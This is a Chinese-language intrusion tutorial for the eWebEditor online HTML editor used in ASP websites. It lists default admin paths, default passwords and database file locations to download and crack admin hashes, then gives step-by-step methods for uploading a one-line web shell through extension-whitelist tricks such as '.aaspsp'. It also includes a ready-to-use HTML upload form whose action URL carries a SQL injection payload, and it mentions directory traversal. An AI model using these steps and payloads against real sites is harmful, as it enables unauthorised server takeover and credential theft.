Ewebeditor编辑器：

Ewebeditor是基于浏览器的、所见即所得的在线HTML编辑器。eWebEditor!已基本成为网站内容管理发布的必备工具！

Ewebeditor利用核心：

默认后台： ***.com/ewebeditor/admin_login.asp 默认数据库： ewebeditor/db/ewebeditor.mdb            ●一定要修改，否则会被恶意下载 默认账号密码： admin /admin，admin888                ●一定要修改，弱口令不安全

ewebeditor入侵过程：

  1. 首先访问默认管理页看是否存在 2.80以前,默认管理页地址为ewebeditor/admin_login.asp 以后版本为admin/login.asp(其他语言改后缀即可) 

  2. 默认管理帐号密码  默认管理页存在！我们就用帐号密码登陆！默认帐号密码为: admin/admin888 ！常用的密码还有admin，admin999，admin1，admin000之类的。

  3. 默认数据库地址 如果密码不是默认的，就要尝试下载数据库得到管理员密码！管理员的帐号密码，都在eWebEditor_System表段里，sys_UserName,Sys_UserPass 都是md5加密的。 得到了加密密码。可以去www.cmd5.com 等网站进行查询！暴力这活好久不干了！也可以丢国外一些可以跑密码的网站去跑!
    ~~~ #默认数据库路径为: ewebeditor/db/ewebeditor.mdb ​ #常用数据库路径为：不同版本不一样 ewebeditor/db/ewebeditor.asa  ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa  ewebeditor/db/#ewebeditor.mdb ewebeditor/db/ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp  ewebeditor/db/ewebeditor1033.mdb ~~~ 很多管理员常改.asp后缀，一般访问.asp .asa 后缀的都是乱码！可以用下载工具下载后改后缀为.mdb

漏洞基本利用步骤，以asp的2.1.6为例！

登陆编辑器后台以后

低版本ewebeditor不支持ie7.0以下版本访问（ietest软件模拟ie6.0上传）

1、通过修改样式上传文件

选择样式管理，默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式，然后在图片上传添加可上传后缀asa .cer .cdx等方便我们上次小马儿。 1、点击样式管理,然后新增样式 2、在图片类型中加入以下类型：asa|cer|asp|aaspsp 然后点击提交。

asp后缀很可能过滤过了。但是我们可以用.aaspsp后缀来添加，这样上传文件正好被ewebeditor 吃掉asp后缀，剩下.asp 。 同样，如果遇到一个管理员有安全意识的，从代码里，把.asp .asa .cer .cdx 都完全禁止了，我们也可以用.asasaa 后缀来突破。

3、然后在工具栏里新增工具 4、在按钮设置里新增"插入或修改图片"，其他随意。 5、然后直接上传一句话木马“123.cer”，这里因为高版本浏览器不能正常显示，所以切换了低版本的浏览器。 6、点击确定，上传成功，之后，查看代码，就能看到完整的地址，链接即可获取webshll。

2、文件上传漏洞

ewebeditor asp版 2.1.6 上传漏洞利用程序：

1、将下面的POC保存为HTML文件，将IP改成目标ip

<form action="***.com' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>

2、然后打开文件，可以选择文件上传一句话木马“123.cer” 3、上传成功后，会出现黑色报错，然后我们点击右键查看源代码 4、可以从源代码中发现文件上传成功，文件名为“2020811162147343.cer” 5、然后连接该木马，默认的文件路径是 192.x.x.x/uploadfile/2020811162147343.cer

3、目录遍历漏洞：

必须换成2.8.0才存在这个漏洞，使用../../来跳转目录。